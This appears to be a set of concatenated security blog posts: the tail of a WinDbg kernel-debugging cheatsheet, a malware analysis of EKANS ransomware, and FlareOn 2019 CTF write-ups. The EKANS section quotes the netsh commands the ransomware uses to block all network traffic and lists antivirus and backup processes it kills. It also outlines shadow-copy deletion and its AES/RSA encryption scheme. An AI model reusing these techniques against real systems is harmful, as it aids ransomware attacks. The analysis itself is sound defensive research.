3.8. Start your VM and your debugger should connect

3.9. If you press the Break button, the debugger will break execution of the OS and you’ll be able to issue windbg commands

3.10. If your debugger environmnet is also in a VM, and you want to configure kernel debugging between two VMs you’ll need the same Serial Port VM settings for the debugger VM but with minor differences.

Set the Serial Port as client.

Run Windbg with default COM settings, but specifying the COM port number as the Serial Port number.

4. Windbg initial steps

After connecting to the debugged kernel, the first commands which are useful to use in windbg are:

!sym noisy // makes the symbol loading more verbose. Helps to troubleshoot any problems with the symbol loading
.symfix    // automatically sets the symbol path to point to the Microsoft symbol store
.reload    // deletes all symbol information and reloads the symbols as needed

5. Windbg command cheatsheet

Windbg has a lot of commands. Here I will list only those which might be useful for these blog posts.

Windbg commands can be separated in 3 categories:

Regular commands (dd, dt, x). Used for debugging
Meta (dot) commands. They are used to control the behavior of the debugger
Extension commands. They start with ! (!analyze, !peb, !teb). Implemented as functions part of extension DLLs.

To abort long-running comand use Break button or Ctrl+Break.

Virtual pseudo-registers provided by windbg start with dollar sign $:
$ra - return addrs on stack
$ip - instruction pointer
$peb - address of PEB
$teb - address of TEB

Referencing registers in an expression should be preceded with @ sign.
eax is the same as @eax
@peb is the same as @$peb

poi() - dereference a pointer
Each symbol is treated as an address (the value of a symbol is its memory address).
To get the value of the symbol held at its address it has to be dereferenced.

? - display regular commands
.help - display dot commands
.help a* - display dot commands starting with a
?  - evaluate an expression
? 5+5
!Ext.help - list general extensions

ld  - load symbols for module
ld kernel32

x Module!Symbol - Examine symbols
x /t Module!Symbol - also show data type
x /v Module!Symbol - verbose (show type and size)
x *! - list all modules
x ntdll!*  - list all symbols of ntdll
x kernel23!*LoadLibrary* - list all symbols containing LoadLibrary

ln  - list symbols near that address. Also displays their addresses

lm[Option] - list modules
   v - verbose
   l - with symbols
   k - only kernel symbols
   u - only user symbols
   f - show image path
   m [pattern]

lm - list all loaded and unloaded modules, and their addresses
lmv m kernel32 - show information about kernel32 module
lm m nt - show information about the kernel (ntoskrnl.exe) module

!lmi - detailed info about a module
!lmi kernel32

!dh  - display PE headers at address
!dh -f  - file headers only
!dh -s  - section headers only
!dh -e  - exported functions

r - dump all registers
r eax, ebx,... - dump only specific registers
r $peb - dump address of PEB ($peb is pseudo-register)
r $teb - dump address of PEB ($peb is pseudo-register)

!peb - display formatted view of the PEB
!teb - display formatted view of the TEB

dt [Module!]SymbolName - dump variable info (local variable, function parameter, global variable or data type)
dt [Module!]Sym* - list symbols starting with Sym
dt [Module!]SymbolName -v - verbose (address and type)
dt ntdll!_PEB - show the PEB structure
dt ntdll!_PEB  - dump PEB structure found at specified address
dt ntdll!_PEB @$peb - dump PEB of current process
dt nt!_EPROCESS
dt nt!_EPROCESS poi(nt!PsInitialSystemProcess)
dt nt!_ex_fast_ref poi(PsInitialSystemProcess)+4b8

!address  - display information about the memory at the specified address
!address esp

d*  - display memory at address
db - byte
dw - word
dW - word + ascii
dd - dword
dc - dword + ascii
dq - qword
da - ascii
du - unicode
db  - display 1 byte at specified address
dd  L3 - display 3 dwords

dyb  - binary + byte
dyd  - bynary + dword

d*s  - display words and symbols at address; Address is assumed to be a series of addresses in symbol table
dds - dwords
dqs - qwords
ddp - display referenced memory

dx - Display C\C++ Expression
dx @$systemProc = *(nt!_EPROCESS**)&nt!PsInitialSystemProcess  - dereference and cast PsInitialSystemProcess as EPROCESS structure
dx (char*)@$systemProc->ImageFileName  - print ImageFileName field from systemProc structure

uf  - unassemble function
uf /c  - show only function calls
u  L300 - unassemble and limit to 300 assembly instructions

!process 0  [ImageName] - list information about process
!process 0 0 - list all processes
!process 0 0 cmd.exe - show information about process cmd.exe
!process -1 0 - current process context
!process 0 1 cmd.exe - get more inforation about the process cmd.exe (including token address)
!process 0 1 system - get information about the system process

.process /i /p  - change context to the process at 

!token  - info about process token

!pte  - convert Virtual Address to Physical Address

!vtop   - translate VA to Physical address. Needs to be in the context of a process. Lowest 3 nibbles of DirectoryTableBase need to be zeroed-out

rdmsr  - read the value of MSR register

s -[option]    - search in memory
s -b - search bytes
s -a - search ascii
s-b   4d 5a 90 00 - search MZ in a region
s -a @rsp L10000000 "B7"

Useful NTOSKRNL Symbols
nt!PsInitialSystemProcess - SYSTEM EPROCESS pointer
nt!PsLoadedModuleList - Loaded modules in kernel (_LIST_ENTRY)
nt!PspNotifyEnableMask - Flag which can disable kernel notify routines



5. References


  http://windbg.info/doc/1-common-cmds.html
  http://windbg.info/download/doc/pdf/WinDbg_A_to_Z_color.pdf
  https://github.com/hugsy/defcon_27_windbg_workshop/blob/master/windbg_cheatsheet.md
  https://github.com/repnz/windbg-cheat-sheet
  https://github.com/alex-ilgayev/windbg-kernel-debug-cheat-sheet
  https://juniper.github.io/contrail-windows-docs/For%20developers/Debugging/Kernel_Debugging/
  https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/setting-up-a-network-debugging-connection
  https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/



Malware analysis of EKANS ransomware
2020-07-25T01:00:00+03:00
1. Summary

EKANS malware is a ransomware which was first detected in December 2019 and while ransomware attacks are nothing new, EKANS had a functionality which made it stand out. In the list of processes, that it tries to terminate, there were some which are related to Industrial Control Systems (ICS).[1]

During the security incidents last month, that hit the news, about the EKANS Ransomware, I decided to look at the inner workings of the malware and share my findings with the security community. My analysis was part of a research done in our ASOC team, part of TBS

We intended to publish the results earlier, but for various reasons, this blog post was delayed quite a bit. Nevertheless I think the information is still worth publishing.

The analyzed sample was obtained from the abuse.ch project, MalwareBazaar. Although the sample is publicly available, some parts of the analysis are anonymized to prevent harming victims reputation in any way.

If you’re interested, you can check the EKANS string decrypton tool I wrote:

https://github.com/idafchev/EKANS-String-Decryptor

2. Analysis


2.1. Basic static analysis
The binary contains lots of strings referencing Go source files. The reason for this is that the EKANS malware is written in the Go programming language.



I wasn’t familiar with Go, so before proceeding with the analysis, I had to learn to program in Go, read about the specific features that the language provides and understand how they’re implemented on the assembly level.

If you’re not familiar with Go, I recommend GOing through the official tutorial A Tour of Go. I went through all exercises to get some basic understanding of the language. Then, I compiled them locally and loaded them in a disassembler in order to compare the assembly with the actual code. Several online resources and blog posts explaning low level details about the Go compiler and how to reverse Go binaries also proved really helpful.

Information about the debugging symbols in Go binaries cannot easily be stripped completely, and so the original function names can be recovered.
I used the Go Reverse Engineering Toolkit library to write a script with which to restore the symbol names.
Unfortunately, EKANS has all its non-library functions obfuscated.



Another thing that can be seen from the strings is the Go project folder, which sits under the path C:\Users\Admin3\, meaning that the username the attackers used on their development machine was Admin3.



Checking the entropy with Detect It Easy, we can make an assumtion that the binary is not packed.



With the help of redress we check that it was compiled with go1.10.8.


2.2. Encrypted strings
Almost all strings which are used by the program logic of EKANS are encrypted using a simple XOR cipher.
Every string is encrypted using different key and has its own dedicated function which decrypts that string specifically. This means that there are as many string decryption functions as there are strings (over 2000).

Below is the disassembly of the string decryption function used by EKANS.



And here’s the implementation in python:



I wrote a string decryption tool which decrypts all the strings in the binary. It can also create an IDA IDC script in order to rename all decryption routines. The script is available at: https://github.com/idafchev/EKANS-String-Decryptor

2.3 Environmental awareness
One of the first things EKANS ransomware does is to lookup the IP address of a hardcoded domain name, which belongs to the victim. Unlike other strings, the domain name is stored in plaintext.


The resolved IP address of the domain is then compared to a hardcoded IP address. In this specific sample the IP address was a private address, possibly belonging to an internal host.

If the resolved address does not match the hardcoded one, the ransomware terminates without doing anything.



After that, EKANS checks if the host it’s executing on is a domain controller. To do this it queries information from the Win32_ComputerSytem Windows Management Instrumentation (WMI) class, using the WQL query select DomainRole FROM Win32_ComputerSytem.

According to the Microsoft documentation DomainRole property can have the following values:

0 – Standalone Workstation

1 – Member Workstation

2 – Standalone Server

3 – Member Server

4 – Backup Domain Controller

5 – Primary Domain Controller

In order to check if the host is a domain controller, EKANS compares if the value of DomainRole property is larger than 3.


If the host is a domain controller the malware does not encrypt the files. Instead it drops the ransom note and exits. If the host is not a domain controller, then it proceeds with encrypting the files and without leaving a ransom note.



It also creates a global mutex called EKANS in order to prevent several instances of the malware to run at the same time. If another instance is already running, the string "There can be only one", is decrypted and execution stops. The string looks like a reference to the movie Highlander, though it might not be intentional.



2.4 Ransom note
The ransom note is dropped only on domain controllers. It’s written in the paths C:\Users\Public\Desktop\Decrypt-Your-Files.txt and C:\Decrypt-Your-Files.txt

Interestingly it does not contain how much ransom the attackers want.



2.5 Blocking network communication
Before proceeding further, the malware blocks all inbound and outbound network communication.  In order to do this, it executes the following two commands:
netsh advfirewall set allprofiles firewallpolicy blockinbound,blockoutbound
netsh advfirewall set allprofiles state on


Below you can see the strings which get decrypted and then concatenated in order to construct the commands.



The resulting command is then executed with os.exec.Command().Run()



This behaviour can also be seen with Process Monitor, during basic dynamic analysis:





2.6 Service and process termination
Once all network communication is blocked, it starts searching for specific service and process names running on the host. If a match is found it tries to terminate them.

It contains an exhaustive list of services and processes. The number of services which are searched for is over 300 and the number of processes is over 1100. Only a very small subset of those are included in this blog post. Many of those are services/processes related to anti-malware software, backup and database software, log collectors and forwarders, etc. There are also some ordinary user processes in the list, like steam.exe, MS Office applications and web browsers.

If you’re interested, the full lists of processes and services which EKANS tries to stop are avaiable below:

Decrypted process names

Decrypted service names

Services are stopped using the WinAPI functions OpenServiceW and ControlService, while processes are terminated using OpenProcess and TerminateProcess.

Subset of the services:
Sophos File Scanner Service
BackupExecAgentBrowser
MSExchangeMTA
MSSQLSERVER
avast! Antivirus
SentinelAgent
Eventlog
NtLmSsp
AdobeARMservice
MySQL80
FireEye Endpoint Agent
nxlog
SplunkForwarder


Subset of the processes:
firefox.exe
chrome.exe
excel.exe
mysqld.exe
steam.exe
avastsvc.exe
avguard.exe
fortisslvpndaemon.exe
nortonsecurity.exe
auth8021x.exe
clamscan.exe
fortifw.exe
msmpeng.exe


2.7 Deleting Volume Shadow Copies
EKANS then queries WMI using the WQL query SELECT * FROM Win32_ShadowCopy to enumerate any existing volume shadow copies (VSC). After the VSC enumeration, it proceeds with their deletion, again using WMI.

This can be seen from the output from API Monitor during dynamic analysis.



We’re approaching the end of EKANS. The final function calls in the main function are shown below:



2.8 Encryption
Before the actual encryption, strings representing file extensions, folders and files are decrypted. These are used to check which files to encrypt and which files or folder to exclude.

Some system files and folders are excluded from encryption to prevent the system from crashing and thus interrupting the encryption process.

EKANS enumerates the logical drives and then starts walking the filesystem on each drive. Each file is checked against the above-mentioned lists with extensions, filenames and folders in order to determine whether it should be encrypted.


When the encryption starts, EKANS waits for all encryption threads to finish and all files to be encrypted. After that it iterates through all encrypted files and starts renaming them.



Each file is checked if it is already encrypted by checking whether it has the "EKANS" signature at the end of the file. Files which are already encrypted are skipped.

New 16-byte Initialization Vector (IV) and 256bit key are generated for each file, so each file is encrypted using different key. The IV and key are generated using the rand.Read() function which on Windows systems uses the CryptGenRandom WinAPI function internally.[2]

Files which are already encrypted are skipped:



Generating 16-byte IV using rand.Read():



Generating 256bit AES key using rand.Read():



The AES algorithm is used in CTR mode and the contents of the files are encrypted using the method ctr.XORKeyStream(). The contents of the files are read in chunks of 0x19000 bytes and when all data in the file is encrypted, they get overwritten with the new content.

AES in CTR mode:



Files are read in 0x19000 byte chunks:



Encrypting the buffer with ctr.XORKeyStream method:



After the file is encrypted, the AES key gets encrypted using the rsa.EncryptOAEP function. OAEP stands for Optimal Asymmetric Encryption Padding which is a padding scheme for RSA which adds a level of randomness to the algorithm.

EKANS then appends a structure to the end of the file containing the original filename, IV and encrypted AES key. The structure is in a gob encoding which is a binary go-specific encoding used for serialization. The low level details about the encoding are described in the go documentation.[3][4]

The encryption of the AES key with the rsa.EncryptOAEP function:



Data is appended at the end of the file using gob:



When encryption is finished, before the ransomware process terminates it restores network communication with to following commands:
netsh advfirewall set allprofiles state off


2.9 Encrypted files
The structure which is appended to the end of the encrypted files is shown below. At the end the “EKANS” signature is appended and before that is the size of the gob structure in little-endian format.



The coloured regions in the picture are as follows:

  The “EKANS” Signature
  Length of the gob structure in little-endian format
  The RSA encrypted AES key
  The original filename before encryption.


3. Conclusions

No privilege escalation, network communication or spreading mechanisms were found. This means that the attackers who wrote EKANS, compromise the environment manually and probably make sure they have the necessary privileges to execute the malware.

The ransom note is dropped only on domain controllers which could mean that the attackers try to compromise the whole domain before deploying the malware.

The AES keys used to encrypt the files are encrypted with the public RSA key of the attackers. Decryption is not possible without the private RSA key.

4. Recommendations

It is not known how the attackers compromise the victims initially, but it is suspected that it’s probably through Internet exposed RDP. The general recommendations when it comes to a ransomware attack are:

  Maintain offline backups for critical systems.
  Use strong passwords.
  Monitor the servers and network environment for suspicious security events.
  Update software versions and apply patches whenever possible.
  Do regular vulnerability scans.
  Disable any services used for administration (SSH, RDP, etc.) accessible from the internet. Use VPN to connect to the internal network and then connect to the intended services.


5. References


  https://www.dragos.com/blog/industry-news/ekans-ransomware-and-ics-operations/
  https://golang.org/src/crypto/rand/rand.go
  https://blog.golang.org/gob
  https://golang.org/src/encoding/gob/doc.go



FlareOn 2019 Writeup - Part 2
2019-11-02T00:00:00+02:00
Part 2 contains my solutions for challenges 4 and 5.

Challenge 4 - Dnschess

Task:
Some suspicious network traffic led us to this unauthorized chess 
program running on an Ubuntu desktop. This appears to be the work 
of cyberspace computer hackers. You'll need to make the right moves 
to solve this one. Good luck!


This time we’re dealing with a 64bit ELF binary.



One of the files in this challenge is a packet capture containing some DNS traffic.



When executed a GUI chess board is displayed.



If I try to play a move I get a message that DeepFLARE has resigned and the game is over.



I captured the network traffic while running the program to see what network connections it tries to make.
After I made a move a DNS request was made for a domain in the following format

piece-source-destination.game-of-thrones.flare-on.com.



Now to disassemble it! The first step is to identify the main function inside the entry point. Main is the argument (pointer) passed in the rdi register to the libc_start_main_ptr function.



Because the application uses GTK, inside the main function there are some GTK related functions. I never used GTK, but after a bit of googling[1] I managed to identify the function which GTK calls when the application starts. I named it gtk_main.



Near the end of gtk_main, the application loads the ChessAI.so library and then finds the address of getAiName function.



Then it also finds the addresses of getAiGreeting and getNextMove functions.



At the end of gtk_main the program jumps to a function I called ActivateCallback. Inside this function the global variable which counts the turn number is initialized to 0. I didn’t make detailed notes, so I don’t remember how I figured out the meaning of this variable.





Checking the xrefrences for the getNextMove function pointer leads to the function responsible for calling it. You can see that the turn number is passed in the edi register as an argument.



At the end of the function the trun counter is increased by 1.



Now it’s time to analyze the ChessAI.so library and see what getNextMove actually does. At the beginning it concatenates strings in order to construct a FQDN and then calls gethostbyname to try and resolve this FQDN to an IP address.



If it gets an answer the following checks are performed:

  Checks if the first byte of the IP address is equal to 127. This means that the IP address should be a loopback address.
  The last byte of the IP address must be an even number.
  The first 4 bits of the third byte must be equal to the current turn number. This means that the maximum number of turns is 16 (4 bit values range from 0 to 15).




After these checks a long block of assembly instructions follow which I won’t show here, because it’ll take too much time. This block is responsible for decryption of the flag, which is stored as a global array. The second byte of the IP address is used as a key to decrypt the array containing the flag. Decryption is done by XORing this byte with the 2*n and 2*n+1  elements from the array with the encrypted flag, where n is the current turn count.

The list of IP addresses can be exctracted from the provided pcap file with the following command:
tshark -2 -nr capture.pcap -Y "dns.flags.response == 1" -T fields -e dns.a | cut -d',' -f 1 > ip_addresses.txt



I wrote a python script to check which IP addresses will satisfy the necessary conditions, order them by the their respective turn number (the first 4 bits in the third byted) and generate the decryption key.
f = open("ip_addresses.txt","r")
addresses = f.read()
f.close()

addr = addresses.split('\n')
keys = {}

for ip in addr:
    bytes = ip.split('.')
    if len(bytes) != 4: break
    for i in xrange(16):
        if int(bytes[3])%2 == 0 and (int(bytes[2])&0x0f == i):
            # unordered
            keys[i] = int(bytes[1])

k = []
# sorted
for i in xrange(len(keys.keys())):
   k.append(keys[i])

print k


It produces the following output:
[53, 215, 159, 182, 252, 217, 89, 230, 108, 34, 25, 49, 200, 99, 141]


I wrote a second script to decrypt the flag:
encrypted_flag = bytearray([0x79,0x5a,0xb8,0xbc,0xec,0xd3,0xdf,0xdd,0x99,0xa5,0xb6,0xac,0x15,0x36,0x85,0x8d,0x09,0x08,0x77,0x52,0x4d,0x71,0x54,0x7d,0xa7,0xa7,0x08,0x16,0xfd,0xd7])

key = [53,215,159,182,252,217,89,230,108,34,25,49,200,99,141]


s = ''
for i in xrange(len(key)):
	s+= chr(encrypted_flag[2*i] ^ key[i])
	s+= chr(encrypted_flag[2*i+1] ^ key[i])

print s


And the flag is:
LooksLikeYouLockedUpTheLookupZ


Challenge 5 - demo

Task:
Someone on the Flare team tried to impress us with their demoscene skills.
It seems blank. See if you can figure it out or maybe we will have to fire them. 
No pressure.


When executed a window appears with an animation of rotating 3D object.



In CFF Explorer you can immediately notice a weird looking address of entry point (0x5c):



CFF Explorer didn’t show any sections, so I tried opening the file in PPEE, which displayed one unusual looking section:



It looks that it might be packed, but to confirm I opened it in Detect It Easy and sure enough the entropy of the file is high, which indicates it could be packed.



The disassembly of the unpacking procedure looked complex and it would’ve taken me too much time to reverse it.



Instead of trying to reverse the unpacking procedure, I tried the usual trick with dumping the unpacked code. In the beginning of the code you can see that it uses the address 0x420000.



If you go to this address in memory you’ll notice that it’s empty and filled with null bytes. Maybe that’s where the unpacked code is going to be stored?



Continuing the execution of the program shows that this memory is indeed filled with some data.



I placed a memory execution break point on address 0x420000 and when I ran the program again, the break point was hit. So this is where the unpacked code is stored.



The next step was to dump the unpacked code. While the code was paused at the break point at 0x420000, I used Process Hacker to dump the whole memory region which was allocated for the code. The dump was 500MB, but most of it was just null bytes, which is why I used hex editor to remove the unnecessary bytes and leave only the executable code. The final binary was 12KB.



At the beginning the unpacked code locates the address of kernel32.dll, then finds the address of LoadLibraryA function in order to load additional libraries and import additional functions. Some of the libraries it tries to load are d3d9.dll and d3dx9_43.dll which are DirectX 9.0 libraries. When the importing of libraries and functions is finished, x64dbg resolves some addresses to function names. Some of them were DirectX functions, which means it probably uses DirectX to render the rotating 3D object.



I used the resolved function names from x64dbg to locate and rename the functions in IDA.



I wasn’t familiar with DirectX, so before continuing with the analysis I had to do some reading[2]. The second reference at the end of this post contains everythig you need to know to solve the challenge. Read everything up to page 33. I’ll try to summarize some of the information.


  3D objects are represented by a mesh of triangles which approximate the shape of the object.
  The point where two edges of a triangle meet is called a vertex.
  Triangles are described as an array of three vertices.
  Meshes are described as an array of triangles.
  A scene is a collection of objects (meshes).
  The object’s triangle list is defined in a local coordinate system.
  To bring together multiple objects in a scene, their coordinate system has to be transformed to that of the scene (a global coordinate system). This transformation sets the relationship of the objects to each other in position, size and orientation. This is done with the IDirect3DDevice9::SetTransform method.
  The camera is transformed (placed) at the center of the world coordinate system and rotated to face the positive Z axis. All geometry in the world is transformed (rotated) along with the camera (facing the Z axis) so that the view of the world remains the same. This transformation is called the view space transformation and is computed with the D3DXMatrixLookAtLH method and then it can be set by the IDirect3DDevice9::SetTransform method.
  All drawing methods must be called inside an IDirect3DDevice9::BeginScene and IDirect3DDevice9::EndScene method pair.
  Drawing can be done with the DrawSubset method.


After importing the necessary functions and libraries the unpacked code initializes DirectX and the window where the drawing is going to be done. At the end of the code it calls some functions responsible for creating 3D objects (meshes) and then drawing them on the window.



The first function CreateMesh_and_SetRenderState creates two meshes. The pointers to these meshes are stored at addresses 0x430050 and 0x430054. This is strange because when I ran the program there was only one object visible.



The DrawScene function begins as expected. It starts with BeginScene method and then sets the view space transformation of the camera.



Later in this function you can see two DrawSubset methods, which draw the two 3D objects (meshes). The camera placement wasn’t changed, this means that only one object is in the field of view of the camera. Maybe the other object is the flag?


If the addresses where the pointers to the objects are saved get swapped, then the second object will be drawn in the field of view of the camera!



I swapped the pointers by patching the code in memory with a debugger.



Then I placed a break point at the DrawScene function so I can easily pause the execution at the first frame.



Continuing the execution draws the first frame of the animation before hitting the breakpoint again. The flag is displayed in the window, but it’s flipped.  



Flip it again and there it is:



moar_pouetry@flare-on.com


References

[1] https://www.usna.edu/Users/cs/roche/courses/s17si204/proj/3/files.php?f=gtkexample.c

[2] http://www.few.vu.nl/~eliens/pim/@archive/projects/jurgen/directx9.pdf


FlareOn 2019 Writeup - Part 1
2019-10-31T00:00:00+02:00
Part 1 contains my solutions for challenges 1-3.

Challenge 1 - Memecat_Battlestation

Task:
Welcome to the Sixth Flare-On Challenge! 

This is a simple game. Reverse engineer it to figure out what "weapon codes" 
you need to enter to defeat each of the two enemies and the victory screen 
will reveal the flag. Enter the flag here on this site to score and move on 
to the next level.

* This challenge is written in .NET. If you don't already have a favorite 
.NET reverse engineering tool I recommend dnSpy

** If you already solved the full version of this game at our booth at 
BlackHat  or the subsequent release on twitter, congratulations, enter 
the flag from the victory screen now to bypass this level.


So, we’re dealing with a .NET binary. Let’s run it and see what it does:



It appears it expects a code as input in order to shoot at the incoming cats.
For decompiling and debugging .NET I use dnSpy.

Opening the executable in dnSpy we immediately notice several classes, one of which is called VictoryForm.



VictoryForm has a method called VictoryForm_Load and its decompiled source code is shown below:
private void VictoryForm_Load(object sender, EventArgs e)
{
	byte[] array = new byte[]
	{
		9,
		8,
		19,
		17,
		9,
		55,
		28,
		18,
		15,
		24,
		10,
		49,
		75,
		51,
		45,
		32,
		54,
		59,
		15,
		49,
		46,
		0,
		21,
		0,
		65,
		48,
		45,
		79,
		13,
		1,
		2
	};
	byte[] bytes = Encoding.UTF8.GetBytes(this.Arsenal);
	for (int i = 0; i < array.Length; i++)
	{
		byte[] array2 = array;
		int num = i;
		array2[num] ^= bytes[i % bytes.Length];
	}
	this.flagLabel.Text = Encoding.UTF8.GetString(array);
}


The Arsenal variable is used to decrypt the array which holds the flag.
This variable is set in the Main method inside the Program class.



The Arsenal string is a concatenation of the from stage1Form.WeaponCode and stage2Form.WeaponCode attributes.
For stage1 the WeaponCode attribute is being set inside the FireButton_Click method.



You can clearly see the check which needs to be passed. So the first code is "RAINBOW".
When it’s entered, Grumpy cat shoots a rainbow and kills the other cat.

The FireButton_Click method inside the stage2Form class is a little different. There is another function
which performs the check.



Decompiling the method isValidWeaponCode reveals the following source code:



It takes the user input from the text box, then XORs every byte with the ASCII character ‘A’ and finally compares the result to some bytes.
We can decode the expected input by XORing the expected bytes with the character ‘A’.

a = bytearray('\x03 &$-\x1e\x02 //./')
s = ''
for i in a:
    s += chr(i^ord('A'))
print s


Executing the script returns the string "Bagel_Cannon". Running the executable again and entering the right codes provides us with the victory
screen and the flag. 


I also tried to get the flag statically by reimplementing the VictoryForm_Load method.

The following python code returns the flag:
key = bytearray("Bagel_Cannon,RAINBOW")
encrypted_flag = bytearray([9,8,19,17,9,55,28,18,15,24,10,49,75,51,45,32,54,59,15,49,46,0,21,0,65,48,45,79,13,1,2])

flag = ''

for i in xrange(len(encrypted_flag)):
	flag += chr(encrypted_flag[i] ^ key[i % len(key)])

print flag


And the flag is:
Kitteh_save_galixy@flare-on.com


Challenge 2 - Overlong

Task:
The secret of this next challenge is cleverly hidden. However, with the right 
approach, finding the solution will not take an overlong amount of time.


When you execute the binary the following message box appears:



This challenge is written in C\C++, so I’ll use Ghidra for the dissasembly and decompilation.

There are only 3 functions, which I’ve already analysed and renamed with an appropriate names.



The function DecodeByte takes two arguments. Each argument is a pointer to a byte. The function
takes the byte from the second argument, decodes it and saves it at the address of the first argument.



The function DecodeBuffer has three arguments. The first argument is an empty buffer.
The second argument is a source buffer and the last argument is the length of the source buffer.
The function iterates through the bytes from the source buffer and calls DecodeByte on each byte.
The result is saved in the empty buffer.



In the main function DecodeBuffer is called with three arguments - an empty buffer with size 128 bytes, global byte array filled with bytes and length 0x1c (28 in decimal).



If we check the length of the global byte array we’ll see it’s 176 bytes long, which is larger than the supplied length (28) in the DecodeBuffer function.



One way to obtain the flag is by patching the binary and fixing the bug or reimplement the algorithm without the bug.

The first way I did it is by patching the binary. Open the executable file in HEX editor and search for a sequence of bytes which correspond to the assembly instructions where the length (0x1c) is passed as an argument.





And finally change the 0x1c value to the length of the destination buffer (0x80 = 128)



Now if you run the patched binary the message box contains the flag.



Another way is to write a script which will decode the flag. Just extract the bytes from the global array and reimplement the decoding function.

buffer = bytearray("\xE0\x81\x89\xC0\xA0\xC1\xAE\xE0\x81\xA5\xC1\xB6\xF0\x80\x81\xA5\xE0\x81\xB2\xF0\x80\x80\xA0\xE0\x81\xA2\x72\x6F\xC1\xAB\x65\xE0\x80\xA0\xE0\x81\xB4\xE0\x81\xA8\xC1\xA5\x20\xC1\xA5\xE0\x81\xAE\x63\xC1\xAF\xE0\x81\xA4\xF0\x80\x81\xA9\x6E\xC1\xA7\xC0\xBA\x20\x49\xF0\x80\x81\x9F\xC1\xA1\xC1\x9F\xC1\x8D\xE0\x81\x9F\xC1\xB4\xF0\x80\x81\x9F\xF0\x80\x81\xA8\xC1\x9F\xF0\x80\x81\xA5\xE0\x81\x9F\xC1\xA5\xE0\x81\x9F\xF0\x80\x81\xAE\xC1\x9F\xF0\x80\x81\x83\xC1\x9F\xE0\x81\xAF\xE0\x81\x9F\xC1\x84\x5F\xE0\x81\xA9\xF0\x80\x81\x9F\x6E\xE0\x81\x9F\xE0\x81\xA7\xE0\x81\x80\xF0\x80\x81\xA6\xF0\x80\x81\xAC\xE0\x81\xA1\xC1\xB2\xC1\xA5\xF0\x80\x80\xAD\xF0\x80\x81\xAF\x6E\xC0\xAE\xF0\x80\x81\xA3\x6F\xF0\x80\x81\xAD\x00")

decoded_buffer = ''
offset = 0

i = 0
while i <= len(buffer):
    if buffer[offset] >> 3 == 0x1e:
        decoded_buffer += chr((((buffer[offset+2] & 0x3f) << 6) | (buffer[offset+3] & 0x3f)))
        offset += 4
    elif  buffer[offset] >> 4 == 0xe:
        decoded_buffer += chr((((buffer[offset+1] & 0x3f) << 6) | (buffer[offset+2] & 0x3f)))
        offset += 3
    elif buffer[offset] >> 5 == 6:
        decoded_buffer += chr((((buffer[offset] & 0x1f) << 6) | (buffer[offset+1] & 0x3f)))
        offset += 2
    else:
        decoded_buffer += chr(buffer[offset])
        offset += 1
    
    if decoded_buffer[i] == "\x00":
        print decoded_buffer
        break

    i = i + 1


Running the above python script produces the following output:
I never broke the encoding: I_a_M_t_h_e_e_n_C_o_D_i_n_g@flare-on.com


Challenge 3 - flarebear

Task:
We at Flare have created our own Tamagotchi pet, the flarebear. 
He is very fussy. Keep him alive and happy and he will give 
you the flag.


This challenge is for reversing an Android apk file. The apk is a Tamagotchi game and we need see what conditions must be met in order to display the flag.

I had problems with running emulators inside the VM and I didn’t want to install new software on my host machine just for this challenge, so I used the online service https://appetize.io/ to run the apk.

The game starts with a menu that has options to continue game or create a new bear. When you create a new bear you need to give it a name and then the game starts. You have three options - feed, play and clean.



To decompile the apk:

  unzip the .apk contents
  use dex2jar to convert the classes.dex file to a .jar file
  open the newly created .jar file in jd-gui


Looking around, in the FlareBearActivity.class there’s a method called danceWithFlag. This method calls a couple of resources, obtains a key with the method getPassword, then uses this key to decrypt the resources and display them as a bitmap image.
  public final void danceWithFlag() {
    InputStream inputStream1 = getResources().openRawResource(2131427328);
    Intrinsics.checkExpressionValueIsNotNull(inputStream1, "ecstaticEnc");
    arrayOfByte1 = ByteStreamsKt.readBytes(inputStream1);
    InputStream inputStream2 = getResources().openRawResource(2131427329);
    Intrinsics.checkExpressionValueIsNotNull(inputStream2, "ecstaticEnc2");
    byte[] arrayOfByte2 = ByteStreamsKt.readBytes(inputStream2);
    String str = getPassword();
    try {
      arrayOfByte1 = decrypt(str, arrayOfByte1);
      arrayOfByte2 = decrypt(str, arrayOfByte2);
      Bitmap bitmap1 = BitmapFactory.decodeByteArray(arrayOfByte1, 0, arrayOfByte1.length);
      BitmapDrawable bitmapDrawable1 = new BitmapDrawable(getResources(), bitmap1);
      Bitmap bitmap2 = BitmapFactory.decodeByteArray(arrayOfByte2, 0, arrayOfByte2.length);
      BitmapDrawable bitmapDrawable2 = new BitmapDrawable(getResources(), bitmap2);
      dance((Drawable)bitmapDrawable1, (Drawable)bitmapDrawable2);
      return;
    } catch (Exception arrayOfByte1) {
      return;
    } 
  }


The danceWithFlag method is called from another method called setMood only when isHappy and isEcstatic both return true.
  public final void setMood() {
    if (isHappy()) {
      ((ImageView)_$_findCachedViewById(R.id.flareBearImageView)).setTag("happy");
      if (isEcstatic()) {
        danceWithFlag();
        return;
      } 
    } else {
      ((ImageView)_$_findCachedViewById(R.id.flareBearImageView)).setTag("sad");
    } 
  }


The isHappy method checks if the ratio of feed/play is between 2 and 2.5. If it is, it returns true.
  public final boolean isHappy() {
    int i = getStat('f');
    int j = getStat('p');
    double d = (i / j);
    return (d >= 2.0D && d <= 2.5D);
  }


The isEcstatic method checks the values of the mass, happy and clean states of the bear.
  public final boolean isEcstatic() {
    byte b = 0;
    int i = getState("mass", 0);
    int j = getState("happy", 0);
    int k = getState("clean", 0);
    int m = b;
    if (i == 72) {
      m = b;
      if (j == 30) {
        m = b;
        if (k == 0)
          m = 1; 
      } 
    } 
    return m;
  }


The mass, happy and clean states change in several methods, one of which is the play method.

  public final void play(@NotNull View paramView) {
    Intrinsics.checkParameterIsNotNull(paramView, "view");
    saveActivity("p");
    changeMass(-2);
    changeHappy(4);
    changeClean(-1);
    playUi();
  }


The changeX methods add the argument to the current state value.
  public final void changeMass(int paramInt) { setState("mass", getState("mass", 0) + paramInt); }
  public final void changeClean(int paramInt) { setState("clean", getState("clean", 0) + paramInt); }
  public final void changeHappy(int paramInt) { setState("happy", getState("happy", 0) + paramInt); }


The other two functions which change the these states are clean and feed.
  public final void clean(@NotNull View paramView) {
    Intrinsics.checkParameterIsNotNull(paramView, "view");
    saveActivity("c");
    removePoo();
    cleanUi();
    changeMass(0);
    changeHappy(-1);
    changeClean(6);
    setMood();
  }


  public final void feed(@NotNull View paramView) {
    Intrinsics.checkParameterIsNotNull(paramView, "view");
    saveActivity("f");
    changeMass(10);
    changeHappy(2);
    changeClean(-1);
    incrementPooCount();
    feedUi();
  }


